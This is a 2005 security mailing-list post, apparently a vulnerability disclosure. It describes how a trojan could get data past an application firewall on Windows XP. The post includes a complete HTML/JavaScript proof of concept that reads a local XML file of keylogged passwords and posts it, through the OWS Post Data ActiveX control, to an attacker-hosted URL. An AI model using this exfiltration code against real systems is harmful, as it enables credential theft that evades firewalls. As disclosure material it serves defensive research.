Full Disclosure mailing list archives
new attack technique? using JavaScript+XML+OWS Post Data
From: Gaurav Kumar <gaurav () securebox org>
Date: Wed, 21 Dec 2005 20:58:30 +0530
While researching COM related security vulnerabilities I thought of
this possible attack technique, not sure if it has been discussed
before.
Problem/challenge statement:
A Trojan has been to be placed in a system running an application
firewall like Zone Alarm Pro etc. The Trojan is not allowed to make
any outbound connections. The challenge is to send data (key logged
passwords etc) back to the attacker.
Assumptions:
The target system must be having office XP and the user has to be
lured to view a webpage hosted by attacker.
Solution
The Trojan can be designed to generate an xml file which will contain
the data to be sent out. The attacker will lure the user to visit a
website hosted by him. The site can have following HTML code-
<html>
<body>
The author is not responsible for any misuse, this PoC is for
educational purpose only.
<object classid="clsid:{BDEADE98-C265-11D0-BCED-00A0C90AB50F}"
id="exp">
</object>
<script LANGUAGE=javascript>
var xmlDoc
xmlDoc = new ActiveXObject("Microsoft.XMLDOM");
xmlDoc.async=false;
xmlDoc.load("c:\\note.xml");
xmlObj=xmlDoc.documentElement;
var a= xmlObj.firstChild.text;
exp.Post(0,"http://www.attackersite.com/input.asp",a);
</script>
</body>
</html>
Content of note.xml could be –
<password>secret</password>
The above code (works well on windows XP SP2) essentials calls "OWS
Post Data" COM control to post the contents of note.xml (generated by
trojan) to attackersite.com
Essentially, the technique is breaking the basic functionality of
application firewalls by using OWS Post Data as bridge for sending out
the data using Javascript and XML.
Disclaimer-
I am not responsible for any misuse or damage arising out by above technique.
flames/spam/abuse etc can be sent to spam () securebox org
comments can be sent to gaurav () securebox org
Regards,
Gaurav Kumar.
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Current thread:
- new attack technique? using JavaScript+XML+OWS Post Data Gaurav Kumar (Dec 21)
- Re: new attack technique? using JavaScript+XML+OWS Post Data Joachim Schipper (Dec 21)
- RE: new attack technique? using JavaScript+XML+OWSPost Data Debasis Mohanty (Dec 21)
- Message not available
- Re: [WEB SECURITY] RE: new attack technique? using JavaScript+XML+OWSPost Data Gaurav Kumar (Dec 21)
- Re: [WEB SECURITY] RE: new attack technique? using JavaScript+XML+OWSPost Data Gaurav Kumar (Dec 21)
- RE: new attack technique? using JavaScript+XML+OWSPost Data Debasis Mohanty (Dec 22)
- Message not available
- Re: new attack technique? using JavaScript+XML+OWSPost Data Gaurav Kumar (Dec 22)
- Re: new attack technique? using JavaScript+XML+OWSPost Data Gaurav Kumar (Dec 22)
- RE: new attack technique? using JavaScript+XML+OWSPost Data Debasis Mohanty (Dec 22)
- Re: new attack technique? using JavaScript+XML+OWSPost Data name pipe (Dec 22)
- Re: new attack technique? using JavaScript+XML+OWSPost Data Gaurav Kumar (Dec 22)
- Re: [WEB SECURITY] RE: new attack technique? using JavaScript+XML+OWSPost Data Gaurav Kumar (Dec 21)